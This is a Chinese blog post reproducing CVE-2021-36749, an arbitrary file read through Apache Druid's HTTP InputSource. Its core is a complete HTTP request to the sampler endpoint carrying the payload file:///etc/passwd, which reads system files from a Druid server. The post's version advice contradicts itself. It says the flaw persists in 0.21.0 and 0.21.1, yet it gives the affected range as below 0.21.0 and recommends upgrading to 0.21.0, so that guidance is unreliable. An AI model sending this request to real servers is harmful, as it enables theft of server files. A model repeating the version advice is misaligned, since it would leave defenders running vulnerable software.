Apache Druid LoadData 任意文件读取 漏洞 CVE-2021-36749

Apache Druid LoadData 任意文件读取 漏洞 CVE-2021-36749

0x01 漏洞简介

在 Druid 系统中,InputSource 用于从某个数据源读取数据。但是,HTTP InputSource 允许经过身份验证的用户以 Druid 服务器进程的权限从其他来源读取数据,例如本地文件系统。

这不是用户直接访问 Druid 时的权限提升,因为 Druid 还提供了 Local InputSource,它允许相同级别的访问。但是当用户通过允许用户指定 HTTP InputSource 而不是 Local InputSource 的应用程序间接与 Druid 交互时,这是有问题的。

在这种情况下,用户可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。这个问题之前提到过,根据 CVE-2021-26920 在 0.21.0 中已修复,但在 0.21.0 或 0.21.1 中未修复。

0x02 影响范围

影响范围 : Apache Druid < 0.21.0

0x03 漏洞复现

image-20211117154507211

URLS写入payload

file:///etc/passwd

image-20211117154925839

完整数据包

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 423
Origin: http://127.0.0.1:8888
Connection: close
Referer: http://127.0.0.1:8888/unified-console.html

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

0x04 修复

升级到0.21.0或更高版本

猜你喜欢

转载自blog.csdn.net/god_zzZ/article/details/121383301